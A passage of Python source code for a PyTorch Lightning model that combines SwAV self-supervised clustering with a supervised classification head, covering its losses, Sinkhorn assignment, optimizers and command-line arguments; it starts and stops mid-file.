num_nodes\r\n        self.arch = arch\r\n        self.dataset = dataset\r\n        self.num_samples = num_samples\r\n        self.batch_size = batch_size\r\n\r\n        self.hidden_mlp = hidden_mlp\r\n        self.feat_dim = feat_dim\r\n        self.nmb_prototypes = nmb_prototypes\r\n        self.freeze_prototypes_epochs = freeze_prototypes_epochs\r\n        self.sinkhorn_iterations = sinkhorn_iterations\r\n\r\n        self.queue_length = queue_length\r\n        self.epoch_queue_starts = epoch_queue_starts\r\n        self.crops_for_assign = crops_for_assign\r\n        self.nmb_crops = nmb_crops\r\n\r\n        self.first_conv = first_conv\r\n        self.maxpool1 = maxpool1\r\n        self.norm_layer = norm_layer\r\n        self.num_groups = num_groups\r\n\r\n        self.optim = optimizer\r\n        self.weight_decay = weight_decay\r\n        self.epsilon = epsilon\r\n        self.temperature = temperature\r\n\r\n        self.start_lr = start_lr\r\n        self.final_lr = final_lr\r\n        self.learning_rate = learning_rate\r\n        self.lr_schedule_type = lr_schedule_type\r\n        self.warmup_epochs = warmup_epochs\r\n        self.max_epochs = max_epochs\r\n\r\n        self.supervised_hidden_mlp = supervised_hidden_mlp\r\n        self.supervised_weight = supervised_weight\r\n        self.num_classes = num_classes\r\n        self.share_hidden_mlp = share_hidden_mlp\r\n        self.supervised_head_after_proj_head = supervised_head_after_proj_head\r\n\r\n        self.val_names = val_names\r\n        self.imagenet_pretrained = imagenet_pretrained\r\n        self.pretrained_checkpoint = pretrained_checkpoint\r\n        self.old_pretrained_weights = old_pretrained_weights\r\n        self.backbone_lr_scaling = backbone_lr_scaling\r\n\r\n        self.prototype_entropy_regularization_weight = prototype_entropy_regularization_weight\r\n        self.prototype_entropy_regularization_type = prototype_entropy_regularization_type\r\n\r\n        self.supervised_contrastive = supervised_contrastive\r\n\r\n        if self.gpus * self.num_nodes > 1:\r\n            self.get_assignments = self.distributed_sinkhorn\r\n        else:\r\n            self.get_assignments = self.sinkhorn\r\n\r\n        self.model = self.init_model()\r\n\r\n        # compute iters per epoch\r\n        global_batch_size = self.num_nodes * self.gpus * self.batch_size if self.gpus > 0 else self.batch_size\r\n        self.train_iters_per_epoch = self.num_samples // global_batch_size\r\n\r\n        self.queue = None\r\n        self.use_the_queue = False\r\n        self.softmax = nn.Softmax(dim=1)\r\n\r\n        # metrics\r\n        self.train_acc = Accuracy()\r\n        if val_names:\r\n            for name in val_names:\r\n                setattr(self, f'{name}_val_acc', Accuracy(compute_on_step=False))\r\n        else:\r\n            self.val_acc = Accuracy(compute_on_step=False)\r\n        self.test_acc = Accuracy(compute_on_step=False)\r\n\r\n    def init_model(self):\r\n        if self.arch == 'resnet18':\r\n            backbone = resnet18\r\n            initial_filters = 64\r\n        elif self.arch == 'resnet18_w32':\r\n            backbone = resnet18\r\n            initial_filters = 32\r\n        elif self.arch == 'resnet18_w16':\r\n            backbone = resnet18\r\n            initial_filters = 16\r\n        elif self.arch == 'resnet50':\r\n            backbone = resnet50\r\n            initial_filters = 64\r\n        elif self.arch == 'resnet50_w32':\r\n            backbone = resnet50\r\n            initial_filters = 32\r\n        elif self.arch == 'resnet50_w16':\r\n            backbone = resnet50\r\n            initial_filters = 16\r\n        elif self.arch == 'resnet32_w16':\r\n            # the ResNet as used in the resnet paper (https://arxiv.org/pdf/1512.03385.pdf) for cifar10 classification, with n=5\r\n            # note that they did not use a dense layer in the classifiation head, corresponding to self.supervised_hidden_mlp = 0\r\n            backbone = lambda **kwargs: ResNet(BasicBlock, [5, 5, 5], **kwargs)\r\n            initial_filters = 16\r\n        elif self.arch == 'resnet26_w32':\r\n            # as used in the MT3 paper\r\n            backbone = lambda **kwargs: ResNet(BasicBlock, [4, 4, 4], **kwargs)\r\n            initial_filters = 32\r\n        else:\r\n            raise ValueError('Invalid architecture name')\r\n\r\n        if self.norm_layer == 'batch_norm':\r\n            norm_layer = nn.BatchNorm2d\r\n        elif self.norm_layer == 'group_norm':\r\n            norm_layer = lambda num_channels: nn.GroupNorm(self.num_groups, num_channels)\r\n        else:\r\n            raise ValueError('Invalid norm layer name')\r\n\r\n        model = backbone(\r\n            num_classes=self.num_classes,\r\n            supervised_hidden_mlp=self.supervised_hidden_mlp,\r\n            share_hidden_mlp=self.share_hidden_mlp,\r\n            width_per_group=initial_filters,\r\n            norm_layer=norm_layer,\r\n            normalize=True,\r\n            hidden_mlp=self.hidden_mlp,\r\n            output_dim=self.feat_dim,\r\n            nmb_prototypes=self.nmb_prototypes,\r\n            first_conv=self.first_conv,\r\n            maxpool1=self.maxpool1,\r\n            supervised_head_after_proj_head=self.supervised_head_after_proj_head,\r\n        )\r\n        if self.imagenet_pretrained:\r\n            if self.arch != 'resnet50' or not self.first_conv or not self.maxpool1:\r\n                raise ValueError('Pretrained weights are only available for the resnet50 with first_conv and maxpool1 = True')\r\n            if self.pretrained_checkpoint is None:\r\n                missing_keys, unexpected_keys = model.load_state_dict(model_zoo.load_url(model_urls['resnet50' + ('_old' if self.old_pretrained_weights else '')]), strict=False)\r\n            else:\r\n                checkpoint_state_dict = load_checkpoint(self.pretrained_checkpoint)['state_dict']\r\n                # remove the prefix \"model.\" from keys, if present\r\n                checkpoint_state_dict = OrderedDict([(k[6:], v) if k.startswith('model.') else (k, v) for k, v in checkpoint_state_dict.items()])\r\n                missing_keys, unexpected_keys = model.load_state_dict(checkpoint_state_dict, strict=False)\r\n            print('Missing keys while loading state dict:', missing_keys)\r\n            print('Unexpected keys while loading state dict:', unexpected_keys)\r\n        return model\r\n\r\n    def forward(self, x):\r\n        # pass single batch through resnet backbone and supervised head\r\n        return self.model(x)\r\n\r\n    def forward_backbone(self, x):\r\n        # pass single batch from the resnet backbone\r\n        return self.model.forward_backbone(x)\r\n\r\n    def forward_embeddings(self, x):\r\n        # pass single batch through resnet backbone and projection head (including normalization)\r\n        result = self.model.forward_swav(x)\r\n        return result[0] if isinstance(result, tuple) else result\r\n\r\n    def get_prototypes(self):\r\n        return self.model.prototypes.weight if self.model.prototypes is not None else None\r\n\r\n    def on_train_epoch_start(self):\r\n        if self.queue_length > 0:\r\n            if self.trainer.current_epoch >= self.epoch_queue_starts and self.queue is None:\r\n                self.queue = torch.zeros(\r\n                    len(self.crops_for_assign),\r\n                    self.queue_length // self.gpus,  # change to nodes * gpus once multi-node\r\n                    self.feat_dim,\r\n                )\r\n\r\n                if self.gpus > 0:\r\n                    self.queue = self.queue.cuda()\r\n\r\n        self.use_the_queue = False\r\n\r\n    def on_after_backward(self):\r\n        if self.current_epoch < self.freeze_prototypes_epochs:\r\n            for name, p in self.model.named_parameters():\r\n                if \"prototypes\" in name:\r\n                    p.grad = None\r\n\r\n    def shared_step(self, batch, acc_metric): #, conf_mat):\r\n        if self.dataset == 'stl10':\r\n            unlabeled_batch = batch[0]\r\n            batch = unlabeled_batch\r\n\r\n        inputs, labels = batch\r\n\r\n        # last element of inputs: batch used for supervised training\r\n        # rest of the inputs: multicrop-batches for SwAV\r\n        # if inputs contains only one element, only supervised learning is performed\r\n        # if inputs contains exactly sum(self.nmb_crops) elements, only swav is performed\r\n        # otherwise, an error is raised\r\n\r\n        if len(inputs) not in (1, sum(self.nmb_crops), sum(self.nmb_crops) + 1):\r\n            raise ValueError(\r\n                f'Got inputs of invalid length {len(inputs)}, when either length 1 for supervised only, '\r\n                f'length {sum(self.nmb_crops)} for swav only, or length {sum(self.nmb_crops) + 1} for both jointly was expected.'\r\n            )\r\n\r\n        swav_loss = 0\r\n\r\n        if len(inputs) > 1:\r\n            ## SwAV\r\n\r\n            # 1. normalize the prototypes\r\n            with torch.no_grad():\r\n                w = self.model.prototypes.weight.data.clone()\r\n                w = nn.functional.normalize(w, dim=1, p=2)\r\n                self.model.prototypes.weight.copy_(w)\r\n\r\n            # 2. multi-res forward passes\r\n            if len(inputs) == sum(self.nmb_crops):\r\n                # swav only\r\n                embedding, output = self.model.forward_swav(inputs)\r\n            else:\r\n                # supervised + swav\r\n                logits, (embedding, output) = self.model(inputs)\r\n            embedding = embedding.detach()\r\n            bs = inputs[0].size(0)\r\n\r\n            # 3. swav loss computation\r\n            for i, crop_id in enumerate(self.crops_for_assign):\r\n                with torch.no_grad():\r\n                    out = output[bs * crop_id:bs * (crop_id + 1)]\r\n\r\n                    # 4. time to use the queue\r\n                    if self.queue is not None:\r\n                        if self.use_the_queue or not torch.all(self.queue[i, -1, :] == 0):\r\n                            self.use_the_queue = True\r\n                            out = torch.cat((torch.mm(self.queue[i], self.model.prototypes.weight.t()), out))\r\n                        # fill the queue\r\n                        self.queue[i, bs:] = self.queue[i, :-bs].clone()\r\n                        self.queue[i, :bs] = embedding[crop_id * bs:(crop_id + 1) * bs]\r\n\r\n                    # 5. get assignments\r\n                    q = torch.exp(out / self.epsilon).t()\r\n                    q = self.get_assignments(q, self.sinkhorn_iterations)[-bs:]\r\n\r\n                # output = [crop_0_of_sample_0, crop_0_of_sample_1, ..., crop_1_of_sample_0, crop_1_of_sample_1, ..., ...]\r\n                #           <---------- crop 0 of the batch ---------->, <---------- crop 1 of the batch ---------->, ...\r\n\r\n                # cluster assignment prediction\r\n                if self.supervised_contrastive:\r\n                    p = self.softmax(output / self.temperature) # generate the p-term in the swav loss for all crops of all images in the batch\r\n\r\n                    # matrix of size (bs, sum(self.nmb_crops) * bs), which contains the potential losses for the prediction of all the cosine_similarites by all the assignments in the batch (for this crop)\r\n                    potential_sublosses = -torch.mm(q, torch.log(p).t())\r\n\r\n                    # the value at position i,j of this matrix defines, whether the i'th soft assignment (q) should be matched with the j'th cosine_similarity\r\n                    # i is in [0, bs), while j is in [0, sum(self.nmb_crops) * bs)\r\n                    # because assignments are only made for one crop per loop iteration, and cosine_similarities (`output`/`p`) are available for all crops at the same time\r\n                    classes_matching_index_not_matching = torch.cat([torch.stack([labels == label for label in labels]) for _ in range(sum(self.nmb_crops))], dim=1)\r\n\r\n                    # don't match to the exact same image itself (note that this only excludes this exact crop of the image, not the other crops of multi-crop)\r\n                    for i in range(bs):\r\n                        classes_matching_index_not_matching[i, crop_id*bs + i] = False\r\n\r\n                    swav_loss += torch.mean(potential_sublosses[classes_matching_index_not_matching])\r\n\r\n                else:\r\n                    subloss = 0\r\n                    for v in np.delete(np.arange(np.sum(self.nmb_crops)), crop_id):\r\n                        p = self.softmax(output[bs * v:bs * (v + 1)] / self.temperature)\r\n                        subloss -= torch.mean(torch.sum(q * torch.log(p), dim=1))\r\n                    swav_loss += subloss / (np.sum(self.nmb_crops) - 1)\r\n\r\n            swav_loss /= len(self.crops_for_assign)\r\n        else:\r\n            # supervised only\r\n            logits = self.model(inputs)\r\n\r\n        ce_loss = 0\r\n        if len(inputs) != sum(self.nmb_crops):\r\n            ## Supervised\r\n            ce_loss = F.cross_entropy(logits, labels)\r\n            acc_metric(logits, labels)\r\n\r\n        joint_loss = swav_loss + self.supervised_weight * ce_loss\r\n\r\n        return ce_loss, swav_loss, joint_loss\r\n\r\n    def training_step(self, batch, batch_idx, optimizer_idx=0):\r\n        if optimizer_idx == 0:\r\n            ce_loss, swav_loss, joint_loss = self.shared_step(batch, self.train_acc) #, self.train_conf_mat)\r\n\r\n            self.log('train/ce_loss', ce_loss, on_step=True, on_epoch=False)\r\n            self.log('train/swav_loss', swav_loss, on_step=True, on_epoch=False)\r\n            self.log('train/joint_loss', joint_loss, on_step=True, on_epoch=False)\r\n\r\n            self.log('train/acc', self.train_acc, prog_bar=True)\r\n\r\n            if self.prototype_entropy_regularization_type == 'same_optimizer' and self.prototype_entropy_regularization_weight != 0:\r\n                joint_loss = joint_loss + self.prototype_entropy_regularization_weight * self.get_regularization_term()\r\n\r\n            return joint_loss\r\n        elif optimizer_idx == 1:\r\n            return self.get_regularization_term()\r\n\r\n    def get_regularization_term(self):\r\n        prototype_classifications = self.softmax(\r\n            self.model.supervised_head(self.model.prototypes.weight)\r\n        )\r\n        # average entropy of each individual prototype classification (marginal entropy)\r\n        # -> minimize to have prototypes that closely resemble actual classes\r\n        proto_entropy = torch.mean(-torch.sum(prototype_classifications * torch.log(prototype_classifications), dim=1))\r\n        self.log('train/prototype_classification_entropy', proto_entropy, on_step=True, on_epoch=False)\r\n\r\n        # entropy of all classifcations averaged -> maximize to have each class represented an equal number of times\r\n        classification_mean = torch.mean(prototype_classifications, dim=0)\r\n        mean_classification_entropy = -torch.sum(classification_mean * torch.log(classification_mean))\r\n        self.log('train/proto_mean_classification_entropy', mean_classification_entropy, on_step=True, on_epoch=False)\r\n\r\n        return proto_entropy - mean_classification_entropy\r\n\r\n    def validation_step(self, batch, batch_idx, dataloader_id=None):\r\n        if dataloader_id is not None:\r\n            dataloader_name = self.val_names[dataloader_id]\r\n\r\n        ce_loss, swav_loss, joint_loss = self.shared_step(\r\n            batch,\r\n            self.val_acc if dataloader_id is None else getattr(self, f'{dataloader_name}_val_acc')\r\n        )\r\n\r\n        slash_dataloader_name = f'/{dataloader_name}' if dataloader_id is not None else ''\r\n        self.log(f'val{slash_dataloader_name}/ce_loss', ce_loss, on_step=False, on_epoch=True, add_dataloader_idx=False)\r\n        self.log(f'val{slash_dataloader_name}/swav_loss', swav_loss, on_step=False, on_epoch=True, add_dataloader_idx=False)\r\n        self.log(f'val{slash_dataloader_name}/joint_loss', joint_loss, on_step=False, on_epoch=True, add_dataloader_idx=False)\r\n\r\n        self.log(\r\n            f'val{slash_dataloader_name}/acc',\r\n            self.val_acc if dataloader_id is None else getattr(self, f'{dataloader_name}_val_acc'),\r\n            add_dataloader_idx=False\r\n        )\r\n\r\n        return joint_loss\r\n\r\n    def test_step(self, batch, batch_idx):\r\n        inputs, labels = batch\r\n        assert not isinstance(inputs, list), \"Test data should not be multi-cropped\"\r\n\r\n        logits = self.model(inputs)\r\n        ce_loss = F.cross_entropy(logits, labels)\r\n        self.test_acc(logits, labels)\r\n\r\n        self.log('test/ce_loss', ce_loss, on_step=False, on_epoch=True)\r\n        self.log('test/acc', self.test_acc)\r\n\r\n        return ce_loss\r\n\r\n    def scale_backbone_lr(self, named_params, learning_rate, scale_factor=0.1):\r\n        backbone_params = []\r\n        head_params = []\r\n\r\n        for name, param in named_params:\r\n            if not param.requires_grad:\r\n                continue\r\n            elif any(layer_name in name for layer_name in ('shared_head', 'supervised_head', 'projection_head', 'prototypes')):\r\n                head_params.append(param)\r\n            else:\r\n                backbone_params.append(param)\r\n\r\n        return [{'params': head_params, 'lr': learning_rate}, {'params': backbone_params, 'lr': learning_rate*scale_factor}]\r\n\r\n    def configure_optimizers(self):\r\n        if self.backbone_lr_scaling != 1:\r\n            params = self.scale_backbone_lr(self.named_parameters(), learning_rate=self.learning_rate, scale_factor=self.backbone_lr_scaling)\r\n        else:\r\n            params = self.parameters()\r\n\r\n        if self.optim == 'lars':\r\n            optimizer = LARS(\r\n                params,\r\n                lr=self.learning_rate,\r\n                momentum=0.9,\r\n                weight_decay=self.weight_decay,\r\n                trust_coefficient=0.001,\r\n            )\r\n        elif self.optim == 'adam':\r\n            optimizer = torch.optim.Adam(params, lr=self.learning_rate, weight_decay=self.weight_decay)\r\n        elif self.optim == 'sgd':\r\n            optimizer = torch.optim.SGD(params, lr=self.learning_rate, momentum=0.9, weight_decay=self.weight_decay)\r\n\r\n        warmup_steps = self.train_iters_per_epoch * self.warmup_epochs\r\n        total_steps = self.train_iters_per_epoch * self.max_epochs\r\n\r\n        scheduler = {\r\n            \"scheduler\": torch.optim.lr_scheduler.LambdaLR(\r\n                optimizer,\r\n                linear_warmup_decay(warmup_steps, total_steps, decay_type=self.lr_schedule_type),\r\n            ),\r\n            \"interval\": \"step\",\r\n            \"frequency\": 1,\r\n        }\r\n\r\n        if self.prototype_entropy_regularization_type == 'separate_optimizer' and self.prototype_entropy_regularization_weight != 0:\r\n            prototype_parameters = [param for name, param in self.named_parameters() if 'prototypes' in name]\r\n            regularization_lr = self.learning_rate * self.prototype_entropy_regularization_weight\r\n\r\n            if self.optim == 'lars':\r\n                prototype_entropy_optimizer = LARS(\r\n                    prototype_parameters,\r\n                    lr=regularization_lr,\r\n                    momentum=0.9,\r\n                    weight_decay=self.weight_decay,\r\n                    trust_coefficient=0.001,\r\n                )\r\n            elif self.optim == 'adam':\r\n                prototype_entropy_optimizer = torch.optim.Adam(prototype_parameters, lr=regularization_lr, weight_decay=self.weight_decay)\r\n            elif self.optim == 'sgd':\r\n                prototype_entropy_optimizer = torch.optim.SGD(prototype_parameters, lr=regularization_lr, momentum=0.9, weight_decay=self.weight_decay)\r\n\r\n            prototype_entropy_scheduler = {\r\n                \"scheduler\": torch.optim.lr_scheduler.LambdaLR(\r\n                    prototype_entropy_optimizer,\r\n                    linear_warmup_decay(warmup_steps, total_steps, decay_type=self.lr_schedule_type),\r\n                ),\r\n                \"interval\": \"step\",\r\n                \"frequency\": 1,\r\n            }\r\n\r\n            return [optimizer, prototype_entropy_optimizer], [scheduler, prototype_entropy_scheduler]\r\n\r\n        return [optimizer], [scheduler]\r\n\r\n    def sinkhorn(self, Q, nmb_iters):\r\n        with torch.no_grad():\r\n            sum_Q = torch.sum(Q)\r\n            Q /= sum_Q\r\n\r\n            K, B = Q.shape\r\n\r\n            if self.gpus > 0:\r\n                u = torch.zeros(K).cuda()\r\n                r = torch.ones(K).cuda() / K\r\n                c = torch.ones(B).cuda() / B\r\n            else:\r\n                u = torch.zeros(K)\r\n                r = torch.ones(K) / K\r\n                c = torch.ones(B) / B\r\n\r\n            for _ in range(nmb_iters):\r\n                u = torch.sum(Q, dim=1)\r\n\r\n                Q *= (r / u).unsqueeze(1)\r\n                Q *= (c / torch.sum(Q, dim=0)).unsqueeze(0)\r\n\r\n            return (Q / torch.sum(Q, dim=0, keepdim=True)).t().float()\r\n\r\n    def distributed_sinkhorn(self, Q, nmb_iters):\r\n        with torch.no_grad():\r\n            sum_Q = torch.sum(Q)\r\n            dist.all_reduce(sum_Q)\r\n            Q /= sum_Q\r\n\r\n            if self.gpus > 0:\r\n                u = torch.zeros(Q.shape[0]).cuda(non_blocking=True)\r\n                r = torch.ones(Q.shape[0]).cuda(non_blocking=True) / Q.shape[0]\r\n                c = torch.ones(Q.shape[1]).cuda(non_blocking=True) / (self.gpus * Q.shape[1])\r\n            else:\r\n                u = torch.zeros(Q.shape[0])\r\n                r = torch.ones(Q.shape[0]) / Q.shape[0]\r\n                c = torch.ones(Q.shape[1]) / (self.gpus * Q.shape[1])\r\n\r\n            curr_sum = torch.sum(Q, dim=1)\r\n            dist.all_reduce(curr_sum)\r\n\r\n            for it in range(nmb_iters):\r\n                u = curr_sum\r\n                Q *= (r / u).unsqueeze(1)\r\n                Q *= (c / torch.sum(Q, dim=0)).unsqueeze(0)\r\n                curr_sum = torch.sum(Q, dim=1)\r\n                dist.all_reduce(curr_sum)\r\n            return (Q / torch.sum(Q, dim=0, keepdim=True)).t().float()\r\n\r\n    @staticmethod\r\n    def add_model_specific_args(parent_parser):\r\n        def true_false(arg):\r\n            if arg == 'True':\r\n                return True\r\n            elif arg == 'False':\r\n                return False\r\n            else:\r\n                raise ValueError()\r\n\r\n        def list_from_string(dtype):\r\n            def f(arg):\r\n                val_list = ast.literal_eval(arg)\r\n                if type(val_list) is not list or len(val_list) == 0:\r\n                    raise ValueError(f'{arg} is an invalid representation for a list')\r\n                # check whether all elements can be interpreted as an object of type dtype\r\n                for x in val_list:\r\n                    dtype(x)\r\n                return val_list\r\n\r\n            f.__name__ = f'{dtype.__name__}_list'\r\n            return f\r\n\r\n        parser = ArgumentParser(parents=[parent_parser], add_help=False)\r\n\r\n        # model params\r\n        parser.add_argument(\"--arch\", default=\"resnet50\", type=str, help=\"convnet architecture\")\r\n        parser.add_argument(\"--imagenet_pretrained\", default=False, type=true_false,\r\n            help=\"Whether to initialize convnet with pretrained imagenet weights. Only available for resnet50\"\r\n        )\r\n        parser.add_argument('--pretrained_checkpoint', default=None, type=str,\r\n            help=\"checkpoint to load pretrained weights from. If none is provided, one from pytorch's model_zoo will be used\"\r\n        )\r\n        parser.add_argument('--old_pretrained_weights', default=False, type=true_false,\r\n            help='If --imagenet_pretrained is True: whether to use older pretrained weights from Jan 2017, or newer ones from Mar 2021. Otherwise: no effect.'\r\n        )\r\n        # specify flags to store false\r\n        parser.add_argument(\"--first_conv\", action='store_false')\r\n        parser.add_argument(\"--maxpool1\", action='store_false')\r\n        parser.add_argument(\"--norm_layer\", type=str, default='batch_norm', action='store', help='batch_norm, group_norm')\r\n        parser.add_argument(\"--num_groups\", type=int, default=16, action='store',\r\n            help='in case group_norm is chosen as norm_layer, this sets the number of groups'\r\n        )\r\n        parser.add_argument(\"--hidden_mlp\", default=2048, type=int, help=\"hidden layer dimension in projection head\")\r\n        parser.add_argument(\"--feat_dim\", default=128, type=int, help=\"feature dimension\")\r\n        parser.add_argument(\"--fp32\", action='store_true')\r\n\r\n        # transform params\r\n        parser.add_argument(\"--gaussian_blur\", type=true_false, action='store', default=False, help=\"add gaussian blur\")\r\n        parser.add_argument(\"--jitter_strength\", type=float, default=1.0, help=\"jitter strength\")\r\n        parser.add_argument(\"--dataset\", type=str, default=\"cifar10\", help=\"cifar10, cifar100, office31, imagenet\")\r\n        parser.add_argument(\"--data_dir\", type=str, default=\".\", help=\"path to download data\")\r\n\r\n        parser.add_argument(\r\n            \"--nmb_crops\", type=list_from_string(int), default=[2, 4], help=\"list of number of crops (example: [2, 6])\"\r\n        )\r\n        parser.add_argument(\r\n            \"--size_crops\", type=list_from_string(int), default=[96, 36], help=\"crops resolutions (example: [224, 96])\"\r\n        )\r\n        parser.add_argument(\r\n            \"--min_scale_crops\",\r\n            type=list_from_string(float),\r\n            default=[0.33, 0.10],\r\n            help=\"argument in RandomResizedCrop (example: [0.14, 0.05])\",\r\n        )\r\n        parser.add_argument(\r\n            \"--max_scale_crops\",\r\n            type=list_from_string(float),\r\n            default=[1, 0.33],\r\n            help=\"argument in RandomResizedCrop (example: [1., 0.14])\",\r\n        )\r\n\r\n        # training params\r\n        parser.add_argument(\"--fast_dev_run\", default=1, type=int)\r\n        parser.add_argument(\"--num_nodes\", default=1, type=int, help=\"number of nodes for training\")\r\n        parser.add_argument(\"--gpus\", default=1, type=int, help=\"number of gpus to train on\")\r\n        parser.add_argument(\"--num_workers\", default=8, type=int, help=\"num of workers per GPU\")\r\n        parser.add_argument(\"--optimizer\", default=\"adam\", type=str, help=\"choose between adam/lars/sgd\")\r\n        parser.add_argument(\"--max_epochs\", default=100, type=int, help=\"number of total epochs to run\")\r\n        parser.add_argument(\"--max_steps\", default=-1, type=int, help=\"max steps\")\r\n        parser.add_argument(\"--warmup_epochs\", default=10, type=int, help=\"number of warmup epochs\")\r\n        parser.add_argument(\"--batch_size\", default=128, type=int, help=\"batch size per gpu\")\r\n\r\n        parser.add_argument(\"--weight_decay\", default=1e-6, type=float, help=\"weight decay\")\r\n        parser.add_argument(\"--learning_rate\", default=1e-3, type=float, help=\"base learning rate\")\r\n        parser.add_argument(\"--start_lr\", default=0, type=float, help=\"initial warmup learning rate\")\r\n        parser.add_argument(\"--final_lr\", type=float, default=1e-6, help=\"final learning rate\")\r\n        parser.add_argument(\"--backbone_lr_scaling\", type=float, default=1.0, help=\"factor to scale the backbone learning rate with\")\r\n        parser.add_argument('--lr_schedule_type', default='cosine', type=str, choices=['constant', 'linear', 'cosine', 'inv_prop'])\r\n\r\n        # swav params\r\n        parser.add_argument(\r\n            \"--crops_for_assign\",\r\n            type=list_from_string(int),\r\n            default=[0, 1],\r\n            help=\"list of crops id used for computing assignments\",\r\n        )\r\n        parser.add_argument(\"--temperature\", default=0.1, type=float, help=\"temperature parameter in training loss\")\r\n        parser.add_argument(\r\n            \"--epsilon\", default=0.05, type=float, help=\"regularization parameter for Sinkhorn-Knopp algorithm\"\r\n        )\r\n        parser.add_argument(\r\n            \"--sinkhorn_iterations\", default=3, type=int, help=\"number of iterations in Sinkhorn-Knopp algorithm\"\r\n        )\r\n        parser.add_argument(\"--nmb_prototypes\", default=512, type=int, help=\"number of prototypes\")\r\n        parser.add_argument(\r\n            \"--queue_length\",\r\n            type=int,\r\n            default=0,\r\n            help=\"length of the queue (0 for no queue); must be divisible by total batch size\"\r\n        )\r\n        parser.add_argument(\r\n            \"--epoch_queue_starts\", type=int, default=15, help=\"from this epoch, we start using a queue\"\r\n        )\r\n        parser.add_argument(\r\n            \"--freeze_prototypes_epochs\",\r\n            default=1,\r\n            type=int,\r\n            help=\"freeze the prototypes during this many epochs from the start\"\r\n        )\r\n\r\n        parser.add_argument('--supervised_only', type=true_false, action='store', default=False, help='train only using the supervised head')\r\n        parser.add_argument('--supervised_hidden_mlp', type=int, default=2048, help='hidden layer of non-linear supervised learning head')\r\n        parser.add_argument('--supervised_weight', type=float, default=1., help='weighting factor of supervised loss')\r\n        parser.add_argument('--supervised_transforms', type=str, default='default',\r\n            choices=['default', 'larger_crop', 'cifar10_transforms'], help='default, larger_crop, cifar10_transforms'\r\n        )\r\n        parser.add_argument('--supervised_crop_size', type=int, default=-1,\r\n            help=('(square) size to crop the images used for supervised training to. '\r\n                  'Defaults to the larger one of the multi-crop sizes (usually a sensible choice for best alignment between the swav and supervised objectives). '\r\n                  'Needs to be specified for supervised only training. '\r\n                  'Note that \"cifar10_transforms\" ignores this argument and always crops to 32x32.')\r\n        )\r\n\r\n        parser.add_argument('--share_hidden_mlp', type=true_false, default=False,\r\n            help=(\"Whether supervised head and swav's projection head should share their hidden layer. If this is set to True, \"\r\n                  '\"--supervised_hidden_mlp\" will have no effect, and \"--hidden_mlp\" will define the size of the hidden layer used by both heads.')\r\n        )\r\n        parser.add_argument('--supervised_head_after_proj_head', type=true_false, default=False,\r\n            help=(\"Whether to change the architecture such that the supervised head attaches after swav's projection head and the l2norm, \"\r\n                  'making the projection head part of the shared parameters. This makes the inputs of the supervised head be in the same space '\r\n                  'as the prototypes, which is necessary to perform prototype entropy regularization. '\r\n                  'If this is set to True, \"--share_hidden_mlp\" must be set to False.')\r\n        )\r\n\r\n        parser.add_argument('--prototype_entropy_regularization_weight', type=float, default=0,\r\n            help=('Weight of the regularization term that minimizes marginal prototype entropy and maximizes mean prototype entropy. '\r\n                  'If a separate optimizer is used, this is simply a factor by which its learning rate is smaller than the first optimizer, '\r\n                  'otherwise its a factor the regularization term gets multiplied with before adding it to the total loss. '\r\n                  'The default of 0 implicates NO regularization. '\r\n                  'If this value is set to >0, \"--supervised_head_after_proj_head\" is required to be set to True.')\r\n        )\r\n        parser.add_argument('--prototype_entropy_regularization_type', type=str, default='same_optimizer', choices=['separate_optimizer', 'same_optimizer'],\r\n            help='If a separate optimizer is used, this optimizer ONLY optimizes the prototypes, otherwise the supervised head is also affected by the regularization'\r\n        )\r\n\r\n        parser.add_argument('--supervised_contrastive', type=true_false, action='store', default=False,\r\n            help='Whether to use labels in order to treat samples with the same label as positives for the swav loss'\r\n        )\r\n\r\n        return parser\r\n\r\n\r\ndef cli_main():\r\n    from pl_bolts.datamodules import CIFAR10DataModule, ImagenetDataModule, STL10DataModule\r\n    from cifar100_datamodule import CIFAR100DataModule\r\n    from Office31 import Office31DataModule\r\n    from pl_bolts.models.self_supervised.swav.transforms import SwAVEvalDataTransform, SwAVTrainDataTransform\r\n    from pytorch_lightning import loggers as pl_loggers\r\n    from torchvision import transforms as transforms\r\n\r\n    parser = ArgumentParser(allow_abbrev=False)\r\n\r\n    parser.add_argument('--wandb_project', default='uncategorized', type=str, help='name of the wandb project to save this run in')\r\n    parser.add_argument('--wandb_log_dir', default='wandb_logs', type=str, help='directory to save wandb logs in')\r\n    parser.add_argument('--hyperparameter_checkpoint', type=str,\r\n        help=(\r\n            'A checkpoint can be specified the hyperparameters of which will be extracted and used for this run. '\r\n            'Parameters can still be overwritten using the command line arguments. '\r\n            'Basically, the hyperparameters of this checkpoint act as the default values of the arguments (instead of the hard-coded ones). '\r\n        )\r\n    )\r\n    parser.add_argument('--wandb_run_name', default=None, type=str, help='custom name for this run in wandb')\r\n    parser.add_argument('--hyperparameter_artifact', type=str,\r\n        help='The same as \"--hyperparameter_checkpoint\", but the checkpoint is specified as a wandb artifact'\r\n    )\r\n    parser.add_argument('--artifact_dir', type=str, action='store', default='wandb_artifacts', help='directory to save wandb artifacts in')\r\n    parser.add_argument('--wandb_entity', type=str, help='name of the wandb entity (account) to load an artifact from')\r\n    parser.add_argument('--logger_prefix', default='supervised_swav', type=str,\r\n        help='prefix to the name of all the logged metrics (empty string for no prefix)',\r\n    )\r\n\r\n    # model args\r\n    parser = SupervisedSwAV.add_model_specific_args(parser)\r\n    args = parser.parse_args()\r\n\r\n    assert (args.hyperparameter_checkpoint is None) or (args.hyperparameter_artifact is None), \\\r\n        'Only hyperparameter_checkpoint or hyperparameter_artifact can be specified'\r\n\r\n    if args.hyperparameter_checkpoint is not None:\r\n        assert os.path.isfile(args.hyperparameter_checkpoint), 'The specified checkpoint file does not exist'\r\n\r\n    logger = pl_loggers.WandbLogger(\r\n        save_dir=args.wandb_log_dir,\r\n        project=args.wandb_project,\r\n        prefix=args.logger_prefix,\r\n        log_model=True,\r\n    )\r\n    logger.LOGGER_JOIN_CHAR = '/'\r\n\r\n    if args.hyperparameter_artifact is not None:\r\n        assert args.wandb_entity is not None, \"Need to specify a wandb_entity to load an artifact\"\r\n        artifact_dirname = args.hyperparameter_artifact.replace(\":\", \"-\")\r\n\r\n        if type(logger.experiment) is not pl_loggers.base.DummyExperiment:\r\n            artifact = logger.experiment.use_artifact(f'{args.wandb_entity}/{args.wandb_project}/{args.hyperparameter_artifact}', type='model')\r\n            if not os.path.isdir(os.path.join(args.artifact_dir, artifact_dirname)):\r\n                # artifact has not been downloaded yet -> download artifact and store its path in hyperparameter_checkpoint\r\n                args.hyperparameter_checkpoint = os.path.join(\r\n                    artifact.download(os.path.join(\r\n                        args.artifact_dir,\r\n                        